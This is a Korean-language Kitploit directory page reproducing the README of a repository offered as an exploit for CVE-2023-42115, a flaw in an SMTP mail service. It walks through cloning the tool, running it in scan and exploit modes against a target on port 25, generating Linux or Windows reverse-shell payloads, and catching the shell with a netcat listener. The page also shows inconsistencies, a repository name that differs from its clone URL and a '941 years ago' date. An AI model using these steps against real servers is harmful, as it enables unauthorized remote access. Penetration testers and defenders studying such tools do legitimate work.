Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2023-42115 — 이 모듈은 CVE-2023-42115로 식별된 대상 서비스의 취약점을 악용합니다. | Kitploit
도구/GitHubGitHub/kirinse/cve-2023-42115
Payload GenerationVulnerability AnalysisExploitationShellcodePenetration TestingPayload Development
GitHubkirinse/cve-2023-42115

cve-2023-42115

이 모듈은 CVE-2023-42115로 식별된 대상 서비스의 취약점을 악용합니다.

저장소 보기
941년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-42115: 익스플로잇 및 페이로드 생성 스크립트

이 저장소에는 두 개의 Python 스크립트가 포함되어 있습니다:

  1. exploit.py: CVE-2023-42115를 익스플로잇하는 스크립트.
  2. generate_payload.py: 리버스 셸 페이로드를 생성하는 스크립트.

사전 요구 사항

스크립트를 실행하기 전에 시스템에 Python 3가 설치되어 있는지 확인하십시오.

설치

  1. 저장소 복제:
    root@kitploit:~
    git clone https://github.com/isotaka134/cve-2023-42115.git
    cd cve-2023-42115
    
    
  2. 의존성 설치:

pip를 사용하여 필요한 Python 라이브러리를 설치합니다. 다음 명령을 실행하여 requirements.txt에 나열된 모든 필수 의존성을 설치하십시오:

root@kitploit:~
pip install -r requirements.txt

사용법

exploit.py

이 스크립트는 CVE-2023-42115 취약점을 익스플로잇합니다.

root@kitploit:~
python exploit.py -t <target_ip> -p <target_port> [options]

옵션:

-t: 대상의 IP 주소.

-p: 대상 서비스의 포트.

예시:

  1. 대상 스캔
    root@kitploit:~
    python exploit.py -t 192.168.1.10 -p 25  --mode SCAN
    
  2. 취약점 익스플로잇
    root@kitploit:~
    python exploit.py -t 192.168.1.10 -p 25 --mode EXPLOIT -f /path/to/payload.sh
    

generate_payload.py

이 스크립트는 사용자 입력을 기반으로 리버스 셸 페이로드를 생성합니다.

root@kitploit:~
 python generate_payload.py

단계:

스크립트는 다음 정보를 입력하도록 요청합니다:

A. 페이로드 유형 ( linux 또는 windows)

B. 로컬 IP: 리버스 연결을 위한 주소

C. 로컬 포트: 리버스 연결을 위한 포트 참고: 라우터 뒤에 있거나 NAT를 사용 중인 경우 Netcat을 실행 중인 장치로 올바른 포트 포워딩을 설정했는지 확인하십시오.

D. 출력 파일 이름 (예: Linux의 경우 payload.sh 또는 Windows의 경우 payload.ps1)

예시:

root@kitploit:~
python generate_payload.py
Payload Generator
Enter payload type (linux/windows): Linux 
Enter local IP address: 127.0.0.1
Enter local port: 4444
Enter output file name (e.g., payload.sh or payload.ps1): Payload.sh
Payload saved to Payload.sh

리스너 설정

리버스 셸을 잡기 위해 로컬 머신에 리스너를 설정해야 합니다. 이를 위해 Netcat (nc)을 사용할 수 있습니다.

  1. Linux의 경우: 터미널을 열고 Netcat 리스너를 시작하십시오:
root@kitploit:~
  nc -lvnp <YOUR_LOCAL_PORT>
  1. Windows의 경우: 명령 프롬프트를 열고 Netcat 리스너를 시작하십시오:
root@kitploit:~
  nc -lvnp <YOUR_LOCAL_PORT>

이 단계를 따르면 CVE-2023-42115를 익스플로잇하고 리버스 셸 연결을 받을 수 있는 페이로드를 만들고 사용할 수 있습니다.

기여

개선 사항에 대한 제안이 있거나 기여하고 싶다면 이슈를 열거나 풀 리퀘스트를 제출해 주세요.

면책 조항

  1. 법적 면책: 이 스크립트는 교육 목적 및 윤리적 테스트를 위해 제작되었습니다. 소유하지 않거나 명시적 테스트 허가가 없는 시스템에 대한 무단 사용은 불법이며 법적 처벌을 받을 수 있습니다.
  2. 윤리적 사용: 이 스크립트를 책임감 있게 사용하고 보안 테스트를 수행할 수 있는 환경에서만 사용하십시오.

문제 해결

  1. 연결 문제: 대상에 연결할 수 있고 SMTP 서비스가 실행 중인지 확인하십시오.
  2. 취약점 탐지: 서비스 배너가 취약점 확인을 위한 예상 출력과 일치하는지 확인하십시오.
  3. 페이로드 실행: 페이로드 파일이 올바르게 포맷되었고 접근 가능한지 확인하십시오.

연락처

질문이나 지원이 필요하면 다음으로 연락해 주세요:

root@kitploit:~
 [email protected]
도구 다운로드